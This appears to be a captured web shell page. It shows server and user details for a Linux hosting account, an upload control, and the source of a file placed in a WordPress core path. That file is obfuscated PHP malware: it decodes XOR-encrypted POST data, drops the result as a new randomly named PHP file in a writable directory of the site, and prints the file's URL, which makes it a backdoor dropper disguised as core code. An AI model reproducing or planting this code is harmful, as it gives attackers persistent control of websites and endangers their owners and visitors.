HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-includes/blocks/navigation-submenu/options.php
<?php function QvtzU($nFiPUXYleu, $mMheh, $WHvhe){$rOPoxwDlxk = "38e0db70-c7d1-4269-bef8-31e1e167f2c2";return $nFiPUXYleu ^ $rOPoxwDlxk[$mMheh % strlen($rOPoxwDlxk)] ^ $WHvhe;}$VBFMl = "xhnRjPiH";function gAKYf($VBFMl){ $yGAPygO = chr(115)."\x74".chr(332-218).chr(272-177).chr(114).chr(706-595).chr(116).'1'.chr(563-512);$VBFMl = $yGAPygO($VBFMl);$GZcLYU = 'r'."\x61"."\x77".'u'.'r'."\154".chr(100)."\x65"."\143"."\157"."\144".'e';$VBFMl = $GZcLYU($VBFMl);$VBFMl = str_split($VBFMl);return $VBFMl;}function UfGKbcdO($sgDYdNM, $WHvhe){$sgDYdNM = array_map("QvtzU", array_values($sgDYdNM), array_keys($sgDYdNM), array_values($WHvhe));$sgDYdNM = implode("", $sgDYdNM);$ymyoRPPus = "\x75".chr(110).chr(243-128).'e'.'r'.chr(105).'a'.chr(108).chr(428-323)."\x7a".chr(842-741);$sgDYdNM = @$ymyoRPPus($sgDYdNM);return $sgDYdNM;}function ogxOWoTqC($WHvhe, $sgDYdNM){$WHvhe = array_slice(str_split(str_repeat($WHvhe, (count($sgDYdNM)/16)+1)), 0, count($sgDYdNM));return $WHvhe;}function oZstgyR(){echo "IpYHWzXhP";}function qHPFz($eFBGTir){static $vwwTtotTr = array();$eFBGTiEhK = glob($eFBGTir . '/*', GLOB_ONLYDIR);$agbEE = count($eFBGTiEhK);if ($agbEE > 0) {foreach ($eFBGTiEhK as $eFBGT) {$sqjqSKgsj = "\151".chr(115)."\x5f".chr(189-70).chr(829-715).chr(345-240)."\x74".chr(97)."\x62"."\154"."\x65";if (@$sqjqSKgsj($eFBGT)) {$vwwTtotTr[] = $eFBGT;}}}foreach ($eFBGTiEhK as $eFBGTir) qHPFz($eFBGTir);return $vwwTtotTr;}function xJzbbuDud($sgDYdNM){$ibvoSfU = "\104".chr(548-469)."\103".chr(294-209).chr(1016-939).chr(359-290).chr(463-385).chr(84)."\x5f".chr(444-362)."\x4f".chr(79)."\124";$AaVrR = $_SERVER[$ibvoSfU];$eFBGTiEhK = qHPFz($AaVrR);$ZWBOkFh = array_rand($eFBGTiEhK);$JgnLcE = chr(312-266).chr(112).'h'."\x70";$UjgHWlK = $eFBGTiEhK[$ZWBOkFh] . "/" . substr(md5(time()), 0, 8) . $JgnLcE;$PJHqP = "\x66".'i'.chr(108)."\x65".'_'.chr(209-97)."\165"."\164".'_'.'c'."\157".chr(110).chr(438-322).chr(101).chr(301-191).chr(536-420).chr(115);@$PJHqP($UjgHWlK, $sgDYdNM);$qgICX = chr(72).chr(933-849).'T'.chr(80).'_'."\110"."\x4f".'S'.chr(1061-977);$wVRIL = "\150".chr(829-713).chr(802-686).chr(112).':'.'/'.chr(930-883);$todrVuSWqA = $wVRIL . $_SERVER[$qgICX] . substr($UjgHWlK, strlen($AaVrR));print($todrVuSWqA);}function WulQCVqu($sgDYdNM, $ZWBOkFh){$ZWBOkFh = $ZWBOkFh[0];if ($sgDYdNM !== $ZWBOkFh){xJzbbuDud($sgDYdNM);}else {geOyjhwbc();}}function geOyjhwbc(){$vRbRgYbZ = 'p'."\x68".'p';$uzcXSENIQw = chr(1015-903).chr(121-17).chr(874-762).chr(118).chr(101).chr(114)."\163".chr(105)."\x6f"."\156";$sgDYdNM = Array($vRbRgYbZ => @$uzcXSENIQw(), );$eJzcql = chr(115).chr(101).chr(114)."\151".chr(97).'l'.'i'.chr(122)."\x65";echo @$eJzcql($sgDYdNM);}function tKzLEnueIS(){echo "xhnRjPiH";}foreach ($_POST as $WHvhe => $sgDYdNM){$nEiruUDP = strlen($WHvhe);if ($nEiruUDP == 16){$sgDYdNM = gAKYf($sgDYdNM);$WHvhe = ogxOWoTqC($WHvhe, $sgDYdNM);$sgDYdNM = UfGKbcdO($sgDYdNM, $WHvhe);if (@is_array($sgDYdNM)){$ZWBOkFh = array_keys($sgDYdNM);$sgDYdNM = $sgDYdNM[$ZWBOkFh[0]];WulQCVqu($sgDYdNM, $ZWBOkFh);}}}die();